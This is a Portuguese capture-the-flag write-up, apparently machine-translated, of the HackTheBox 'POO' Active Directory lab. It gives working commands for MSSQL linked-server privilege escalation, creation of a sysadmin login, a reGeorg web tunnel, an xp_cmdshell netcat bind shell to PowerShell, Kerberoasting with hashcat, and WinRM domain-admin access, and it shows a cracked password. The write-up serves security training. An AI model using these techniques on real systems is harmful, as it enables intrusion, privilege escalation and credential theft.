Fim de jogo do HackTheBox. Passagem do laboratório Operações Ofensivas Profissionais. Pentest Active Directory

imagem

Neste artigo, analisaremos a passagem não apenas de um carro, mas de todo um mini laboratório do site HackTheBox .

Conforme declarado na descrição, o POO foi projetado para testar habilidades em todos os estágios dos ataques em um pequeno ambiente do Active Directory. O objetivo é comprometer um host disponível, aumentar privilégios e, finalmente, comprometer todo o domínio, enquanto coleta 5 sinalizadores.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)

Informações Organizacionais
, , Telegram . , , .

. , - , .

Introdução


Este jogo final consiste em duas máquinas e contém 5 sinalizadores.

imagem

A descrição e o endereço do host disponível também são fornecidos.

imagem

Vamos começar!

Bandeira Recon


Esta máquina possui um endereço IP 10.13.38.11, que eu adiciono ao / etc / hosts.
10.13.38.11 poo.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.

nmap -A poo.htb -p80,1433

imagem

Assim, temos IIS e MSSQL. Nesse caso, descobriremos o nome DNS real do domínio e do computador. No servidor web, somos recebidos pela página inicial do IIS.

imagem

Vamos examinar os diretórios. Eu uso gobuster para isso. Nos parâmetros, indicamos o número de fluxos 128 (-t), URL (-u), dicionário (-w) e extensões que nos interessam (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

imagem

Portanto, temos autenticação HTTP para o diretório / admin, bem como um arquivo de repositório de serviço de área de trabalho disponível .DS_Store. .DS_Store - esses são os arquivos que armazenam as configurações do usuário para a pasta, como uma lista de arquivos, a localização dos ícones e a imagem de fundo selecionada. Esse arquivo pode estar no diretório de servidores da web dos desenvolvedores da web. Assim, obtemos informações sobre o conteúdo do diretório. Você pode usar o rastreador DS_Store para isso .

python3 dsstore_crawler.py -i http://poo.htb/

imagem

Nós obtemos o conteúdo do diretório A coisa mais interessante aqui é o diretório / dev, do qual podemos ver os arquivos fonte e db em dois ramos. Mas podemos primeiro 6 caracteres do nome dos arquivos e diretórios, se o serviço estiver vulnerável ao nome abreviado do IIS. Para verificar esta vulnerabilidade, use o Scanner de nome abreviado do IIS .

imagem

E vamos para um arquivo de texto que começa com "poo_co". Sem saber o que fazer a seguir, simplesmente selecionei todas as palavras que começam com "co" no dicionário de diretório.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

E itere através do wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

imagem

E encontramos a palavra certa! Nós olhamos para este arquivo, salve as credenciais (a julgar pelo parâmetro DBNAME, elas são do MSSQL).

imagem

Entregamos a bandeira e avançamos 20%.

imagem

Huh flag


Estamos conectados ao MSSQL, eu uso o DBeaver.

imagem

Não encontramos nada de interessante nesse banco de dados, vamos criar um Editor SQL e verificar o que os usuários são.

SELECT name FROM master..syslogins;

imagem

Nós temos dois usuários. Vamos verificar nossos privilégios.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

imagem

Portanto, não há privilégios. Vamos ver os servidores relacionados, sobre esta técnica que escrevi em detalhes aqui .

SELECT * FROM master..sysservers;

imagem

Então, encontramos outro SQL Server. Vamos verificar a execução dos comandos neste servidor usando openquery ().

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

imagem

E podemos até construir uma árvore de consulta.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

O fato é que, quando executamos uma solicitação para um servidor vinculado, a solicitação é executada no contexto de outro usuário! Vamos ver no contexto de qual usuário estamos trabalhando em um servidor vinculado.

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

imagem

Agora vamos ver em que contexto a solicitação do servidor vinculado ao nosso é executada!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

imagem

Portanto, este é um contexto de DBO que deve ter todos os privilégios. Vamos verificar os privilégios no caso de uma solicitação de um servidor vinculado.

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

imagem

Como você pode ver, temos todos os privilégios! Vamos criar nosso administrador dessa maneira. Mas eles não deixam passar pelo openquery, vamos fazê-lo através de EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

E agora estamos conectados às credenciais do novo usuário, observamos o novo banco de dados de sinalizadores.

imagem

Entregamos esta bandeira e seguimos em frente.

imagem

Bandeira de retorno


Obteremos o shell usando o MSSQL, eu uso o mssqlclient do pacote impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

imagem

Precisamos obter senhas, e a primeira coisa que já conhecemos é o site. Portanto, precisamos de uma configuração do servidor da Web (é impossível lançar um shell conveniente, aparentemente o firewall está funcionando).

imagem

Mas o acesso é negado. Embora possamos ler o arquivo no MSSQL, você só precisa saber quais linguagens de programação estão configuradas. E no diretório MSSQL, descobrimos o que é Python.

imagem

Em seguida, leia o arquivo web.config, não há problema.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

imagem

Com as credenciais encontradas, vá para / admin e selecione a bandeira.

imagem

imagem

Bandeira suave


De fato, existem alguns inconvenientes ao usar um firewall, mas, observando as configurações de rede, percebemos que a punção IPv6 também é usada!

imagem

Adicione este endereço ao / etc / hosts.
dead:babe::1001 poo6.htb
Vamos verificar o host novamente, mas usando o IPv6.

imagem

E através do IPv6, o serviço WinRM está disponível. Conecte-se às credenciais encontradas.

imagem

Há uma bandeira na área de trabalho, nós a entregamos.

imagem

Bandeira P00ned


Após o reconhecimento do host usando o grão de bico, não encontramos nada de especial. Decidiu-se procurar novamente as credenciais (também escrevi um artigo sobre esse tópico ). Mas não consegui obter todos os SPNs do sistema através do WinRM.

setspn.exe -T intranet.poo -Q */*

imagem

Vamos executar o comando através do MSSQL.

imagem

Dessa maneira, obtemos os SPNs dos usuários p00_hr e p00_adm, o que significa que eles são vulneráveis ​​a ataques como o Kerberoasting. Em resumo, podemos obter hashes de suas senhas.

Primeiro, você precisa obter um shell estável em nome do usuário do MSSQL. Porém, como temos acesso limitado, só temos acesso ao host pelas portas 80 e 1433. Mas é possível encapsular o tráfego pela porta 80! Para fazer isso, usamos o seguinte aplicativo . Faça o download do arquivo tunnel.aspx no diretório inicial do servidor Web - C: \ inetpub \ wwwroot \.

imagem

Mas quando tentamos acessá-lo, obtemos o erro 404. Isso significa que os arquivos * .aspx não são executados. Para que os arquivos com essas extensões comecem a executar, instale o ASP.NET 4.5 da seguinte maneira.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

imagem

imagem

E agora, ao acessar o tunnel.aspx, obtemos a resposta de que tudo está pronto para funcionar.

imagem

Vamos iniciar a parte do cliente do aplicativo, que lidará com a retransmissão de tráfego. Nós redirecionaremos todo o tráfego da porta 5432 para o servidor.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

imagem

E usamos proxychains para enviar tráfego para qualquer aplicativo através do nosso proxy. Inclua esse proxy no arquivo de configuração /etc/proxychains.conf.

imagem

Agora faremos o upload do programa netcat para o servidor , com a ajuda do qual criaremos um shell de ligação estável e o script Invoke-Kerberoast , com o qual realizaremos o ataque do Kerberoasting.

imagem

Agora, através do MSSQL, iniciamos o ouvinte.

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

imagem

E conecte-se através do nosso proxy.

proxychains rlwrap nc poo.htb 4321

imagem

E vamos pegar os hashes.

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

imagem

Em seguida, você precisa classificar esses hashes. Como não havia dados de senha no dicionário rockyou, usei TODOS os dicionários de senhas fornecidos por Seclists. Para pesquisa, usamos hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

E encontramos as duas senhas, a primeira no dicionário dutch_passwordlist.txt e a segunda no Keyboard-Combinations.txt.

imagem

imagem

E, por isso, temos três usuários, acesse o controlador de domínio. Primeiro descobrimos o endereço dele.

imagem

Ok, descobrimos o endereço IP do controlador de domínio. Vamos descobrir todos os usuários do domínio, bem como qual deles é o administrador. Para baixar o script para obter informações PowerView.ps1. Em seguida, conecte-se usando evil-winrm, especificando o diretório com o script no parâmetro -s. E, em seguida, basta carregar o script do PowerView.

imagem

Agora todas as suas funções estão disponíveis para nós. O usuário p00_adm parece um usuário privilegiado, portanto, trabalharemos em seu contexto. Crie um objeto PSCredential para este usuário.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Agora todos os comandos do Powershell, onde especificamos Creds, serão executados em nome de p00_adm. Vamos listar os usuários e o atributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

imagem

E assim, nosso usuário é realmente privilegiado. Vamos dar uma olhada nos grupos em que é composto.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

imagem

Afirmamos que o usuário é um administrador de domínio. Isso lhe dá o direito de fazer logon remoto no controlador de domínio. Vamos tentar entrar pelo WinRM usando nosso túnel. Fiquei confuso com os erros gerados pelo reGeorg ao usar o evil-winrm.

imagem

Em seguida, usaremos outro script mais fácil para conectar-se ao WinRM. Abra e altere os parâmetros para a conexão.

imagem

Estamos tentando nos conectar e estamos no sistema.

imagem

Mas não há bandeira. Então olhe para o usuário e verifique as áreas de trabalho.

imagem

Na mr3ks, encontramos a bandeira e o laboratório é 100% aprovado.

imagem

Isso é tudo. Como comentário, comente se você aprendeu algo novo neste artigo e se foi útil para você.

Você pode se juntar a nós no Telegram. Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles